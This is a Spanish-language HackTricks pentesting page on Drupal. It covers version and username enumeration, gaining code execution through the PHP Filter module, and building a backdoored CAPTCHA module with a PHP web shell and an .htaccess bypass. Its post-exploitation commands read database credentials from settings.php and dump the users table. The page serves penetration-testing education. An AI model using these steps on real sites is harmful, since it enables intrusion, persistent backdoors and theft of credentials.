9.7 KiB
Drupal
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Descubrimiento
- Verifica meta
curl https://www.drupal.org/ | grep 'content="Drupal'
- Nodo: Drupal indexa su contenido utilizando nodos. Un nodo puede contener cualquier cosa como una publicación de blog, encuesta, artículo, etc. Las URIs de página suelen tener la forma
/node/<nodeid>
.
curl drupal-site.com/node/1
Enumeración
Drupal admite tres tipos de usuarios de forma predeterminada:
Administrador
: Este usuario tiene control completo sobre el sitio web de Drupal.Usuario autenticado
: Estos usuarios pueden iniciar sesión en el sitio web y realizar operaciones como agregar y editar artículos según sus permisos.Anónimo
: Todos los visitantes del sitio web se designan como anónimos. Por defecto, a estos usuarios solo se les permite leer publicaciones.
Versión
- Verificar
/CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
{% hint style="info" %}
Las instalaciones más recientes de Drupal por defecto bloquean el acceso a los archivos CHANGELOG.txt
y README.txt
.
{% endhint %}
Enumeración de nombres de usuario
Registro
En /user/register simplemente intenta crear un nombre de usuario y si el nombre ya está tomado, se notificará:
Solicitar nueva contraseña
Si solicitas una nueva contraseña para un nombre de usuario existente:
Si solicitas una nueva contraseña para un nombre de usuario que no existe:
Obtener número de usuarios
Accediendo a /user/<number> puedes ver el número de usuarios existentes, en este caso es 2 ya que /users/3 devuelve un error de no encontrado:
Páginas ocultas
Fuzz /node/$
donde $
es un número (del 1 al 500, por ejemplo).
Podrías encontrar páginas ocultas (de prueba, desarrollo) que no están referenciadas por los motores de búsqueda.
Información de los módulos instalados
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
Automático
droopescan scan drupal -u http://drupal-site.local
RCE
Con el módulo PHP Filter
{% hint style="warning" %}
En versiones antiguas de Drupal (antes de la versión 8), era posible iniciar sesión como administrador y habilitar el módulo PHP filter
, que "permite evaluar fragmentos de código PHP incrustados".
{% endhint %}
Necesitas que el plugin php esté instalado (verifica accediendo a /modules/php y si devuelve un 403, entonces existe, si no se encuentra, entonces el plugin php no está instalado)
Ve a Módulos -> (Verifica) PHP Filter -> Guardar configuración
Luego haz clic en Agregar contenido -> Selecciona Página básica o Artículo -> Escribe código shell php en el cuerpo -> Selecciona Código PHP en Formato de texto -> Selecciona Vista previa
Finalmente, solo accede al nodo recién creado:
curl http://drupal-site.local/node/3
Instalar el Módulo de Filtro PHP
A partir de la versión 8 en adelante, el Módulo de Filtro PHP no se instala por defecto. Para aprovechar esta funcionalidad, tendríamos que instalar el módulo nosotros mismos.
- Descargue la versión más reciente del módulo desde el sitio web de Drupal.
- Una vez descargado, vaya a
Administración
>Informes
>Actualizaciones disponibles
. - Haga clic en
Examinar
,
seleccione el archivo del directorio donde lo descargamos y luego haga clic enInstalar
. - Una vez instalado el módulo, podemos hacer clic en
Contenido
y crear una nueva página básica, similar a como lo hicimos en el ejemplo de Drupal 7. Nuevamente, asegúrese de seleccionarCódigo PHP
desde el menú desplegableFormato de texto
.
Módulo con Puerta Trasera
Un módulo con puerta trasera se puede crear agregando una shell a un módulo existente. Los módulos se pueden encontrar en el sitio web drupal.org. Elija un módulo como CAPTCHA. Desplácese hacia abajo y copie el enlace para el archivo tar.gz archivo.
- Descargue el archivo y extraiga su contenido.
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- Crear una shell web PHP con el contenido:
<?php
system($_GET["cmd"]);
?>
- A continuación, necesitamos crear un archivo
.htaccess
para darnos acceso a la carpeta. Esto es necesario ya que Drupal niega el acceso directo a la carpeta/modules
.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- La configuración anterior aplicará reglas para la carpeta / cuando solicitemos un archivo en /modules. Copie ambos archivos a la carpeta captcha y cree un archivo comprimido.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- Suponiendo que tenemos acceso administrativo al sitio web, haga clic en
Administrar
y luego enExtender
en la barra lateral. A continuación, haga clic en el botón+ Instalar nuevo módulo
, y se nos llevará a la página de instalación, comohttp://drupal-site.local/admin/modules/install
. Busque el archivo de Captcha con puerta trasera y haga clic enInstalar
. - Una vez que la instalación tenga éxito, navegue hasta
/modules/captcha/shell.php
para ejecutar comandos.
Post Explotación
Leer settings.php
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
Volcar usuarios de la base de datos
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
Referencias
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR a los repositorios de hacktricks y hacktricks-cloud.